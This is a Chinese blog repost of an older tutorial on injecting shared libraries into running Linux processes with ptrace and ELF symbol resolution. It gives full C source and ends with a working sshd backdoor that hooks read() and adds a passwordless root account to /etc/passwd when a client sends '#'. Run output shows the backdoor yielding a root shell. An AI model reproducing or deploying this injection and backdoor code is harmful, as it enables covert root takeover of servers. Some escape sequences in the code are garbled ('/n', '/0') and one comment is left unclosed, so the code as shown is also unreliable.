一步一步走进Linux HOOK API(八)

妖狐艹你老母 2022-09-25 00:22 227阅读 0赞

最近实在是太忙了.学校毕业的事情太麻烦,手续啥的,加上公司的事情..实在没心思写了.特转帖来做本系列的最终章...以后有时间空下来.再详细开帖阐述.

望见谅.....

共享库注射--injectso实例  
作者：grip2 <gript2@hotmail.com>  
日期：2002/08/16  
内容：  
    1 -- 介绍  
    2 -- injectso -- 共享库注射技术  
    3 -- injectso的工作步骤及实现方法  
    4 -- 目标进程调试函数  
    5 -- 符号解析函数  
    6 -- 一个简单的后门程序  
    7 -- 最后  
    8 -- 参考文献  
 一、 \*\* 介绍  
本文介绍的是injectso技术，重点是使用现有技术去实际的完成一个injectso程序，  
而不是侧重于理论上的探讨。这里希望你在阅读这篇文章的时候对ELF、inject有一  
定的了解，当然你也可以选择在看完本文之后再去翻看相关的资料，也许这样能使你  
更有针对性。需要说明的是，下面介绍的技术和给出的函数都是特定于X86下的linux  
的，在其它环境下可能有一些需要改变的细节，但从基本的概念和步骤上讲应该是相  
同的。

\[separator\]

二、 \*\*　injectso -- 共享库注射技术  
使用injectso技术，我们可以注射共享库到一个运行期进程，这里注射的意思就是通  
过某种操作使我们的.so共享库在指定的进程中被装载，这样再配合上函数重定向或  
其它技术，我们就可以捕获或改变目标进程的行为，可以做非常多的工作。同其它  
inject技术相比，injectso的一些优点是：  
1. 简单 -- 仅仅通过C代码就可以完成所有的工作；  
2. 扩展性好 -- 在基础代码完成之后,如果要对程序功能进行增加、修改，仅需改动  
.so共享库即可；  
3. 干净 -- 对目标进程进行注射之后，不需要留下磁盘文件，使用的程序及共享库  
都可以删除；  
4. 灵活 -- 我们可以使用它完成很多工作，例如：运行期补丁、后门程序等；  
5. 目标服务不需要重新启动；  
6. 无须改动二进制文件；  
7. 可以通过pax, openwall等这样的核心补丁。  
 三、 \*\* injectso的工作步骤及实现方法  
完成injectso需要以下几个步骤：  
1. 关联到目标进程；  
2. 发现装载共享库的函数，一般是\_dl\_open调用，我们将使用它装载我们的.so共享  
库  
3. 装载指定的.so；  
4. 做我们想做的，一般是通过函数重定向来完成我们需要的功能;  
5. 脱离进程；  
下面简单介绍一下这几个步骤的实现方法，由于我们是对其它进程进行操作，因此  
ptrace这个linux调试API函数将频繁的被我们使用，在<四>中，我将给出一些ptrace  
包装函数。  
步骤1 -- 关联进程  
简单的调用ptrace(PTRACE\_ATTACH,...)即可以关联到目标进程，但此后我们还  
需调用waitpid()函数等待目标进程暂停，以便我们进行后续操作。详见<四>中给出  
的ptrace\_attach()函数。  
  
步骤2 -- 发现\_dl\_open  
通过遍历动态连接器使用的link\_map结构及其指向的相关链表，我们可以完成  
\_dl\_open的符号解析工作，关于通过link\_map解析符号在phrack59包的p59\_08（见参  
考文献）中有详细的描述。  
  
步骤3 -- 装载.so  
    由于在2中我们已经找到\_dl\_open的地址，所以我们只需将此函数使用的参数添  
入相应的寄存器，并将进程的eip指向\_dl\_open即可，在此过程中还需做一些其它操  
作，具体内容见<四>中的call\_dl\_open和ptrace\_call函数。  
  
步骤4 -- 函数重定向  
    我们需要做的仅仅是找到相关的函数地址，用新函数替换旧函数，并将旧函数的  
地址保存。其中涉及到了PLT和RELOCATION,关于它们的详细内容你应该看ELF规范中  
的介绍，在<四>中的函数中有PLT和RELOCATION的相关操作，而且在最后的例子中，  
我们将实现函数重定向。关于函数重定向，相关资料很多，这里不再多介绍。  
  
步骤5 -- 脱离进程  
简单的调用ptrace(PTRACE\_DETACH,...)可以脱离目标进程。  
  
  
 四、\*\* 目标进程调试函数  
  
在linux中，如果我们要调试一个进程，可以使用ptrace API函数，为了使用起来更  
方便，我们需要对它进行一些功能上的封装。  
在p59\_08中作者给出了一些对ptrace进行封装的函数，但是那太少了，在下面我给出  
了更多的函数，这足够我们使用了。要注意在这些函数中我并未进行太多的错误检测  
，但做为一个例子使用，它已经能很好的工作了，在最后的例子中你将能看到这一点  
。  
  
/\* 关联到进程 \*/  
void ptrace\_attach(int pid)  
\{  
    if(ptrace(PTRACE\_ATTACH, pid, NULL, NULL) < 0) \{  
        perror("ptrace\_attach");  
        exit(-1);  
    \}  
  
    waitpid(pid, NULL, WUNTRACED);     
     
    ptrace\_readreg(pid, &oldregs);  
\}  
  
/\* 进程继续 \*/  
void ptrace\_cont(int pid)  
\{  
    int stat;  
  
    if(ptrace(PTRACE\_CONT, pid, NULL, NULL) < 0) \{  
        perror("ptrace\_cont");  
        exit(-1);  
    \}  
  
    while(!WIFSTOPPED(stat))  
        waitpid(pid, &stat, WNOHANG);  
\}  
  
/\* 脱离进程 \*/  
void ptrace\_detach(int pid)  
\{  
    ptrace\_writereg(pid, &oldregs);  
  
    if(ptrace(PTRACE\_DETACH, pid, NULL, NULL) < 0) \{  
        perror("ptrace\_detach");  
        exit(-1);  
    \}  
\}  
  
/\* 写指定进程地址 \*/  
void ptrace\_write(int pid, unsigned long addr, void \*vptr, int len)  
\{  
    int count;  
    long word;  
  
    count = 0;  
  
    while(count < len) \{  
        memcpy(&word, vptr + count, sizeof(word));  
        word = ptrace(PTRACE\_POKETEXT, pid, addr + count, word);  
        count += 4;  
  
        if(errno != 0)  
            printf("ptrace\_write failed/t %ld/n", addr + count);  
    \}  
\}  
  
/\* 读指定进程 \*/  
void ptrace\_read(int pid, unsigned long addr, void \*vptr, int len)  
\{  
    int i,count;  
    long word;  
    unsigned long \*ptr = (unsigned long \*)vptr;  
  
    i = count = 0;  
  
    while (count < len) \{  
        word = ptrace(PTRACE\_PEEKTEXT, pid, addr + count, NULL);  
        count += 4;  
        ptr\[i++\] = word;  
    \}  
\}  
  
/\*  
 在进程指定地址读一个字符串  
 \*/  
char \* ptrace\_readstr(int pid, unsigned long addr)  
\{  
    char \*str = (char \*) malloc(64);  
    int i,count;  
    long word;  
    char \*pa;  
  
    i = count = 0;  
    pa = (char \*)&word;  
  
    while(i <= 60) \{  
        word = ptrace(PTRACE\_PEEKTEXT, pid, addr + count, NULL);  
        count += 4;  
  
        if (pa\[0\] == '/0') \{  
            str\[i\] = '/0';  
        break;  
        \}  
        else  
            str\[i++\] = pa\[0\];  
  
        if (pa\[1\] == '/0') \{  
            str\[i\] = '/0';  
            break;  
        \}  
        else  
            str\[i++\] = pa\[1\];  
  
        if (pa\[2\] == '/0') \{  
            str\[i\] = '/0';  
            break;  
        \}  
        else  
            str\[i++\] = pa\[2\];  
  
        if (pa\[3\] == '/0') \{  
            str\[i\] = '/0';  
            break;  
        \}  
        else  
            str\[i++\] = pa\[3\];  
    \}  
     
    return str;  
\}  
  
/\* 读进程寄存器 \*/  
void ptrace\_readreg(int pid, struct user\_regs\_struct \*regs)  
\{  
    if(ptrace(PTRACE\_GETREGS, pid, NULL, regs))  
        printf("\*\*\* ptrace\_readreg error \*\*\*/n");  
  
\}  
  
/\* 写进程寄存器 \*/  
void ptrace\_writereg(int pid, struct user\_regs\_struct \*regs)  
\{  
    if(ptrace(PTRACE\_SETREGS, pid, NULL, regs))  
        printf("\*\*\* ptrace\_writereg error \*\*\*/n");  
\}  
  
/\*  
 将指定数据压入进程堆栈并返回堆栈指针  
 \*/  
void \* ptrace\_push(int pid, void \*paddr, int size)  
\{  
    unsigned long esp;  
    struct user\_regs\_struct regs;  
  
    ptrace\_readreg(pid, &regs);  
    esp = regs.esp;  
    esp -= size;  
    esp = esp - esp % 4;  
    regs.esp = esp;  
  
    ptrace\_writereg(pid, &regs);  
  
    ptrace\_write(pid, esp, paddr, size);  
  
    return (void \*)esp;  
\}  
  
/\*  
 在进程内调用指定地址的函数  
 \*/  
void ptrace\_call(int pid, unsigned long addr)  
\{  
    void \*pc;  
    struct user\_regs\_struct regs;  
    int stat;  
    void \*pra;  
  
    pc = (void \*) 0x41414140;  
    pra = ptrace\_push(pid, &pc, sizeof(pc));  
  
    ptrace\_readreg(pid, &regs);  
    regs.eip = addr;  
    ptrace\_writereg(pid, &regs);  
  
    ptrace\_cont(pid);  
  
    while(!WIFSIGNALED(stat))  
        waitpid(pid, &stat, WNOHANG);  
\}  
  
上面给出的函数很简单，我想不需要更多的说明。但是，还有两个地方我想简单说一  
下，第一个是在关联进程的函数和脱离进程的函数中对寄存器的操作是必须的，在注  
射共享库的操作最后，我们需要恢复目标进程的寄存器内容，以使目标进程正常的恢  
复到运行状态。第二个是在ptrace\_call中的这处：  
    pc = (void \*) 0x41414140;  
    pra = ptrace\_push(pid, &pc, sizeof(pc));  
在这里，我们将无效页面地址0x41414140压入目标进程堆栈，这样当程序执行完我们  
指定的函数后，程序会产生错误中断，所以我们就又获得了对进程的控制权，可以继  
续下面的操作。  
  
  
 五、\*\* 符号解析函数  
  
因为我们需要对进程中的函数调用进行重定向，所以需要对一些函数符号进行解析。  
下面给出了一些解析符号的函数，你可能会发现有些变量没有定义，这是因为它们是  
全局变量，变量的类型应该很容易确定，如果你需要使用这些函数，只要简单声明全  
局变量即可，如果有问题，也可与我联系。这些函数同样没有太多的错误检测，但是  
作为例子，它们已足够良好的运行了。其中ELF相关的内容你也许不是很清楚，我想  
认真阅读ELF规范对你很有帮助，结合ELF与下面的实例你应该能很快的理解符号解析  
  
/\*  
 取得指向link\_map链表首项的指针  
 \*/  
\#define IMAGE\_ADDR 0x08048000  
struct link\_map \* get\_linkmap(int pid)  
\{  
    Elf32\_Ehdr \*ehdr = (Elf32\_Ehdr \*) malloc(sizeof(Elf32\_Ehdr));         
    Elf32\_Phdr \*phdr = (Elf32\_Phdr \*) malloc(sizeof(Elf32\_Phdr));  
    Elf32\_Dyn  \*dyn =  (Elf32\_Dyn \*) malloc(sizeof(Elf32\_Dyn));  
    Elf32\_Word got;  
    struct link\_map \*map = (struct link\_map \*)  
                                    malloc(sizeof(struct link\_map));  
    int i = 0;  
  
    ptrace\_read(pid, IMAGE\_ADDR, ehdr, sizeof(Elf32\_Ehdr));  
    phdr\_addr = IMAGE\_ADDR + ehdr->e\_phoff;  
    printf("phdr\_addr/t %p/n", phdr\_addr);  
  
    ptrace\_read(pid, phdr\_addr, phdr, sizeof(Elf32\_Phdr));  
    while(phdr->p\_type != PT\_DYNAMIC)  
        ptrace\_read(pid, phdr\_addr += sizeof(Elf32\_Phdr), phdr,  
                                                      sizeof(Elf32\_Phdr));  
    dyn\_addr = phdr->p\_vaddr;  
    printf("dyn\_addr/t %p/n", dyn\_addr);  
  
    ptrace\_read(pid, dyn\_addr, dyn, sizeof(Elf32\_Dyn));  
    while(dyn->d\_tag != DT\_PLTGOT) \{  
        ptrace\_read(pid, dyn\_addr + i \* sizeof(Elf32\_Dyn), dyn, sizeof(Elf32\_Dyn));  
        i++;  
    \}  
  
    got = (Elf32\_Word)dyn->d\_un.d\_ptr;  
    got += 4;  
    printf("GOT/t/t %p/n", got);  
  
    ptrace\_read(pid, got, &map\_addr, 4);  
    printf("map\_addr/t %p/n", map\_addr);  
    ptrace\_read(pid, map\_addr, map, sizeof(struct link\_map));  
     
    free(ehdr);  
    free(phdr);  
    free(dyn);  
  
    return map;  
\}  
  
/\*  
 取得给定link\_map指向的SYMTAB、STRTAB、HASH、JMPREL、PLTRELSZ、RELAENT、RELENT信息  
 这些地址信息将被保存到全局变量中，以方便使用  
 \*/  
void get\_sym\_info(int pid, struct link\_map \*lm)  
\{  
    Elf32\_Dyn \*dyn = (Elf32\_Dyn \*) malloc(sizeof(Elf32\_Dyn));  
    unsigned long dyn\_addr;  
  
    dyn\_addr = (unsigned long)lm->l\_ld;  
     
    ptrace\_read(pid, dyn\_addr, dyn, sizeof(Elf32\_Dyn));  
    while(dyn->d\_tag != DT\_NULL)\{  
        switch(dyn->d\_tag)  
        \{  
        case DT\_SYMTAB:  
            symtab = dyn->d\_un.d\_ptr;  
            //puts("DT\_SYMTAB");  
            break;  
        case DT\_STRTAB:  
            strtab = dyn->d\_un.d\_ptr;  
            //puts("DT\_STRTAB");  
            break;  
        case DT\_HASH:  
            ptrace\_read(pid, dyn->d\_un.d\_ptr + lm->l\_addr + 4,  
                                                           &nchains, sizeof(nchains));  
            //puts("DT\_HASH");  
            break;  
        case DT\_JMPREL:  
            jmprel = dyn->d\_un.d\_ptr;  
            //puts("DT\_JMPREL");  
            break;  
        case DT\_PLTRELSZ:  
            //puts("DT\_PLTRELSZ");  
            totalrelsize = dyn->d\_un.d\_val;  
            break;  
        case DT\_RELAENT:  
            relsize = dyn->d\_un.d\_val;  
            //puts("DT\_RELAENT");  
            break;  
        case DT\_RELENT:  
            relsize = dyn->d\_un.d\_val;  
            //puts("DT\_RELENT");  
            break;  
        \}  
  
        ptrace\_read(pid, dyn\_addr += sizeof(Elf32\_Dyn), dyn, sizeof(Elf32\_Dyn));  
    \}  
  
    nrels = totalrelsize / relsize;  
  
    free(dyn);  
\}  
  
/\*  
 解析指定符号  
 \*/  
unsigned long  find\_symbol(int pid, struct link\_map \*map, char \*sym\_name)  
\{  
    struct link\_map \*lm = (struct link\_map \*) malloc(sizeof(struct link\_map));  
    unsigned long sym\_addr;  
    char \*str;  
     
    sym\_addr = find\_symbol\_in\_linkmap(pid, map, sym\_name);  
    if (sym\_addr)  
        return sym\_addr;  
  
    if (!map->l\_next) return 0;  
  
    ptrace\_read(pid, (unsigned long)map->l\_next, lm, sizeof(struct link\_map));  
    sym\_addr = find\_symbol\_in\_linkmap(pid, lm, sym\_name);  
    while(!sym\_addr && lm->l\_next) \{  
        ptrace\_read(pid, (unsigned long)lm->l\_next, lm, sizeof(struct link\_map));  
  
        str = ptrace\_readstr(pid, (unsigned long)lm->l\_name);  
        if(str\[0\] == '/0')  
            continue;  
        printf("\[%s\]/n", str);  
        free(str);  
  
        if ((sym\_addr = find\_symbol\_in\_linkmap(pid, lm, sym\_name)))  
            break;  
    \}  
  
    return sym\_addr;  
\}  
  
/\*  
 在指定的link\_map指向的符号表查找符号，它仅仅是被上面的find\_symbol使用  
 \*/  
unsigned long  find\_symbol\_in\_linkmap(int pid, struct link\_map \*lm, char \*sym\_name)  
\{  
    Elf32\_Sym \*sym = (Elf32\_Sym \*) malloc(sizeof(Elf32\_Sym));  
    int i;  
    char \*str;  
    unsigned long ret;  
  
    get\_sym\_info(pid, lm);  
     
    for(i = 0; i < nchains; i++) \{  
        ptrace\_read(pid, symtab + i \* sizeof(Elf32\_Sym), sym, sizeof(Elf32\_Sym));  
  
        if (!sym->st\_name || !sym->st\_size || !sym->st\_value)  
            continue;  
  
/\*    因为我还要通过此函数解析非函数类型的符号，因此将此处封上了  
        if (ELF32\_ST\_TYPE(sym->st\_info) != STT\_FUNC)  
            continue;  
\*/  
        str = (char \*) ptrace\_readstr(pid, strtab + sym->st\_name);  
        if (strcmp(str, sym\_name) == 0) \{  
            free(str);  
            str = ptrace\_readstr(pid, (unsigned long)lm->l\_name);  
            printf("lib name \[%s\]/n", str);  
            free(str);  
            break;  
        \}  
        free(str);  
    \}  
  
  
    if (i == nchains)  
        ret = 0;  
    else  
        ret =  lm->l\_addr + sym->st\_value;  
  
    free(sym);  
  
    return ret;  
\}  
  
/\* 查找符号的重定位地址 \*/  
unsigned long  find\_sym\_in\_rel(int pid, char \*sym\_name)  
\{  
    Elf32\_Rel \*rel = (Elf32\_Rel \*) malloc(sizeof(Elf32\_Rel));  
    Elf32\_Sym \*sym = (Elf32\_Sym \*) malloc(sizeof(Elf32\_Sym));  
    int i;  
    char \*str;  
    unsigned long ret;  
  
    get\_dyn\_info(pid);  
    for(i = 0; i< nrels ;i++) \{  
        ptrace\_read(pid, (unsigned long)(jmprel + i \* sizeof(Elf32\_Rel)),  
                                                                 rel, sizeof(Elf32\_Rel));  
        if(ELF32\_R\_SYM(rel->r\_info)) \{  
            ptrace\_read(pid, symtab + ELF32\_R\_SYM(rel->r\_info) \*  
                                               sizeof(Elf32\_Sym), sym, sizeof(Elf32\_Sym));  
            str = ptrace\_readstr(pid, strtab + sym->st\_name);  
            if (strcmp(str, sym\_name) == 0) \{  
                free(str);  
                break;  
            \}  
            free(str);  
        \}  
    \}  
  
    if (i == nrels)  
        ret = 0;  
    else  
        ret =  rel->r\_offset;  
  
    free(rel);  
  
    return ret;  
\}  
  
/\*  
 在进程自身的映象中（即不包括动态共享库，无须遍历link\_map链表）获得各种动态信息  
 \*/  
void get\_dyn\_info(int pid)  
\{  
    Elf32\_Dyn \*dyn = (Elf32\_Dyn \*) malloc(sizeof(Elf32\_Dyn));  
    int i = 0;  
  
    ptrace\_read(pid, dyn\_addr + i \* sizeof(Elf32\_Dyn), dyn, sizeof(Elf32\_Dyn));  
    i++;  
    while(dyn->d\_tag)\{  
        switch(dyn->d\_tag)  
        \{  
        case DT\_SYMTAB:  
            puts("DT\_SYMTAB");  
            symtab = dyn->d\_un.d\_ptr;  
            break;  
        case DT\_STRTAB:  
            strtab = dyn->d\_un.d\_ptr;  
            //puts("DT\_STRTAB");  
            break;  
        case DT\_JMPREL:  
            jmprel = dyn->d\_un.d\_ptr;  
            //puts("DT\_JMPREL");  
            printf("jmprel/t %p/n", jmprel);  
            break;  
        case DT\_PLTRELSZ:  
            totalrelsize = dyn->d\_un.d\_val;  
            //puts("DT\_PLTRELSZ");  
            break;  
        case DT\_RELAENT:  
            relsize = dyn->d\_un.d\_val;  
            //puts("DT\_RELAENT");  
            break;  
        case DT\_RELENT:  
            relsize = dyn->d\_un.d\_val;  
            //puts("DT\_RELENT");  
            break;  
        \}  
  
        ptrace\_read(pid, dyn\_addr + i \* sizeof(Elf32\_Dyn), dyn, sizeof(Elf32\_Dyn));  
        i++;  
    \}  
  
    nrels = totalrelsize / relsize;  
  
    free(dyn);  
\}  
  
上面的函数可能较<四>中的复杂了一些，但是它们也是容易理解的，这需要你对ELF  
有一定的了解，我无法在这里解释更多的关于ELF内容，最好的和最有效的办法是你  
去阅读规范，文后的参考文献中给出了下载地址。  
  
  
 六、\*\* 一个简单的后门程序  
  
有了上面介绍的函数，现在我们可以很容易的编写出injectso程序，下面让我们来写  
一个简单后门程序。首先，我们回想一下前面介绍的injectso工作步骤，看看我们是  
否已经有足够的辅助函数来完成它。第1步，我们可以调用上面给出的ptrace\_attach()  
完成。第2步，可以通过find\_symbol()找到\_dl\_open的地址。第3步我们可以调用  
ptrace\_call()来调用\_dl\_open，但是要注意\_dl\_open定义为'internal\_function'，  
这说明它的传递方式是通过寄存器而不是堆栈，这样看来在调用\_dl\_open之前还需做一  
些琐碎的操作，那么我们还是把它封装起来更好。第4步，函数重定向，我们可以通过  
符号解析函数和RELOCATION地址获取函数找到新老函数地址，地址都已经找到，那替换  
它们只是一个简单的操作了。第5步，仅仅调用ptrace\_detach就可以了。OK，看来所有  
的步骤我们都可以很轻松的完成了，只有3还需要个小小的封装函数，现在就来完成它：  
  
void call\_dl\_open(int pid, unsigned long addr, char \*libname)  
\{  
    void \*pRLibName;  
    struct user\_regs\_struct regs;  
  
    /\*  
      先找个空间存放要装载的共享库名，我们可以简单的把它放入堆栈  
     \*/  
    pRLibName = ptrace\_push(pid, libname, strlen(libname) + 1);  
  
    /\* 设置参数到寄存器 \*/  
    ptrace\_readreg(pid, &regs);  
    regs.eax = (unsigned long) pRLibName;  
    regs.ecx = 0x0;  
    regs.edx = RTLD\_LAZY;  
    ptrace\_writereg(pid, &regs);  
  
    /\* 调用\_dl\_open \*/  
    ptrace\_call(pid, addr);  
    puts("call \_dl\_open ok");  
\}  
  
到这里所有的基础问题都已经解决（只是相对而言，在有些情况下可能需要解决系统  
调用或临界区等问题，本文没有涉及，但是我们的程序依然可以很好的执行），现在  
需要考虑的我们做一个什么样的后门程序。为了简单，我打算作一个注射SSH服务的  
后门程序。我们只需要重定向read调用到我们自己的newread，并在newread中加入对  
读取到的内容进行判断的语句，如果发现读到的第一个字节是\#号，我们将向/etc/passwd  
追加新行"injso::0:0:root:/root:/bin/sh/n"，这样我们就有了一个具  
有ROOT权限的用户injso,并且不需要登陆密码。根据这个思路来建立我们的.so:  
  
\[root@grip2 injectso\]\# cat so.c  
\#include <sys/types.h>  
\#include <stdio.h>  
  
ssize\_t  (\*oldread)(int fd, void \*buf, size\_t count);  
  
ssize\_t  newread(int fd, void \*buf, size\_t count)  
\{  
    ssize\_t ret;  
    FILE \*fp;  
    char ch = '\#';     
  
    ret = oldread(fd, buf, count);     
  
    if (memcmp(buf, (void \*)&ch, 1) == 0) \{  
        fp = fopen("/etc/passwd", "a");  
        fputs("injso::0:0:root:/root:/bin/sh/n", fp);  
        fclose(fp);  
    \}  
  
    return ret;  
\}  
我们来编译它  
\[root@grip2 injectso\]\# gcc -shared -o so.so -fPIC so.c -nostdlib  
  
好了，我们已经有了.so，下面就仅剩下main()了，让我们来看看：  
\[root@grip2 injectso\]\# cat injso.c  
\#include <stdlib.h>  
\#include <stdio.h>  
\#include <string.h>  
\#include "p\_elf.h"  
\#include "p\_dbg.h"  
  
int main(int argc, char \*argv\[\])  
\{  
    int pid;  
    struct link\_map \*map;  
    char sym\_name\[256\];  
    unsigned long sym\_addr;  
    unsigned long new\_addr,old\_addr,rel\_addr;  
  
    /\* 从命令行取得目标进程PID  
    pid = atoi(argv\[1\]);  
  
    /\* 关联到目标进程 \*/  
    ptrace\_attach(pid);  
     
    /\* 得到指向link\_map链表的指针 \*/  
    map = get\_linkmap(pid);                    /\* get\_linkmap \*/  
  
    /\* 发现\_dl\_open，并调用它 \*/  
    sym\_addr = find\_symbol(pid, map, "\_dl\_open");        /\* call \_dl\_open \*/  
    printf("found \_dl\_open at addr %p/n", sym\_addr);     
    call\_dl\_open(pid, sym\_addr, "/home/grip2/me/so.so");    /\* 注意装载的库地址 \*/     
     
  
    /\* 找到我们的新函数newread的地址 \*/  
    strcpy(sym\_name, "newread");                /\* intercept \*/  
    sym\_addr = find\_symbol(pid, map, sym\_name);  
    printf("%s addr/t %p/n", sym\_name, sym\_addr);  
  
    /\* 找到read的RELOCATION地址 \*/  
    strcpy(sym\_name, "read");                 
    rel\_addr = find\_sym\_in\_rel(pid, sym\_name);  
    printf("%s rel addr/t %p/n", sym\_name, rel\_addr);  
  
    /\* 找到用于保存read地址的指针 \*/  
    strcpy(sym\_name, "oldread");                 
    old\_addr = find\_symbol(pid, map, sym\_name);  
    printf("%s addr/t %p/n", sym\_name, old\_addr);  
  
    /\* 函数重定向 \*/  
    puts("intercept...");                    /\* intercept \*/  
    ptrace\_read(pid, rel\_addr, &new\_addr, sizeof(new\_addr));  
    ptrace\_write(pid, old\_addr, &new\_addr, sizeof(new\_addr));  
    ptrace\_write(pid, rel\_addr, &sym\_addr, sizeof(sym\_addr));  
    puts("injectso ok");  
  
    /\* 脱离进程 \*/  
    ptrace\_detach(pid);  
  
    exit(0);  
\}  
  
现在所有的工作都已经做好，你需要的是把上面介绍的函数都写到自己的.c程序文件  
中，这样就可以编译了,我们来编译它  
\[root@grip2 injectso\]\# gcc -o injso injso.c p\_dbg.c p\_elf.c -Wall  
\[root@grip2 injectso\]\# ls  
injso injso.c make p\_dbg.c p\_dbg.h p\_elf.c p\_elf.h so.c so.so  
  
ok,启动ssh服务，并开始注射  
\[root@grip2 injectso\]\# /usr/sbin/sshd  
\[root@grip2 injectso\]\# ps -aux|grep sshd  
root       763  0.0  0.4  2676 1268 ?        S    21:46   0:00 /usr/sbin/sshd  
root      1567  0.0  0.2  2004  688 pts/0    S    21:57   0:00 grep sshd  
\[root@grip2 injectso\]\# ./injso 763  
phdr\_addr     0x8048034  
dyn\_addr     0x8084c2c  
GOT         0x80847d8  
map\_addr     0x40016998  
\[/lib/libdl.so.2\]  
\[/usr/lib/libz.so.1\]  
\[/lib/libnsl.so.1\]  
\[/lib/libutil.so.1\]  
\[/lib/libcrypto.so.2\]  
\[/lib/i686/libc.so.6\]  
lib name \[/lib/i686/libc.so.6\]  
found \_dl\_open at addr 0x402352e0  
call \_dl\_open ok  
\[/lib/libdl.so.2\]  
\[/usr/lib/libz.so.1\]  
\[/lib/libnsl.so.1\]  
\[/lib/libutil.so.1\]  
\[/lib/libcrypto.so.2\]  
\[/lib/i686/libc.so.6\]  
\[/lib/ld-linux.so.2\]  
\[/home/grip2/me/so.so\]  
lib name \[/home/grip2/me/so.so\]  
newread addr     0x40017574  
DT\_SYMTAB  
jmprel     0x804ac9c  
read rel addr     0x8084bc0  
\[/lib/libdl.so.2\]  
\[/usr/lib/libz.so.1\]  
\[/lib/libnsl.so.1\]  
\[/lib/libutil.so.1\]  
\[/lib/libcrypto.so.2\]  
\[/lib/i686/libc.so.6\]  
\[/lib/ld-linux.so.2\]  
\[/home/grip2/me/so.so\]  
lib name \[/home/grip2/me/so.so\]  
oldread addr     0x40018764  
intercept...  
new\_addr 0x401fc530  
injectso ok  
  
注射成功，测试一下，看看效果，可以在任何机器上telnet被注射机的22端口，  
并传送一个\#号  
$ telnet 127.0.0.1 22  
Trying 127.0.0.1...  
Connected to 127.0.0.1.  
Escape character is '^\]'.  
SSH-1.99-OpenSSH\_2.9p2  
\#         <-------------------我们输入\#号，并回车  
Protocol mismatch.  
Connection closed by foreign host.  
  
看看后门是否起作用了，登陆系统：  
localhost login: injso  
Last login: Sat Aug 17 21:58:40 from :0  
sh-2.05\#  
OK，得到了ROOT，测试成功。  
  
  
七、\*\* 最后  
  
在学习injectso的过程中，我阅读了一些相关的资料，但是我发现可能是由于injectso中  
涉及到的某些技术已经非常成熟和普及，因此很难找到一个从整体上完整的描述injectso  
的文章，你能发现的是很多的文章都只是对其中的某一个技术环节进行探讨，这样对初学  
者而言，就不容易去完整的理解injectso，也就不能很快的去应用它。为了扫除这个障碍，  
我写了这篇文章，当然由于水平有限，文章的重点也仅仅是放在提供一点思路帮助你去快  
速的建立一个injectso上，而对相关的技术没有深入的探讨，不是不可以在这里介绍，而  
是感觉实在是有点班门弄斧，更好的技术文章很多，象injectso3.ppt就很不错，我建议你  
去仔细的阅读它。  
  
最后，如果您对本文有什么意见或建议，请EMAIL给我，我也很希望知道您的看法。  
希望更多的交流 -- E-mail <gript2@hotmail.com>  
  
  
八 \*\* 参考文献  
  
http://packetstormsecurity.nl/mag/phrack/phrack59.tar.gz  
  
http://www.blackhat.com/presentations/bh-europe-01/shaun-clowes/injectso3.ppt  
  
ftp://tsx.mit.edu/pub/linux/packages/GCC/ELF.doc.tar.gz  
  
http://www.big.net.au/~silvio/lib-redirection.txt  
  
http://online.securityfocus.com/data/library/subversiveld.pdf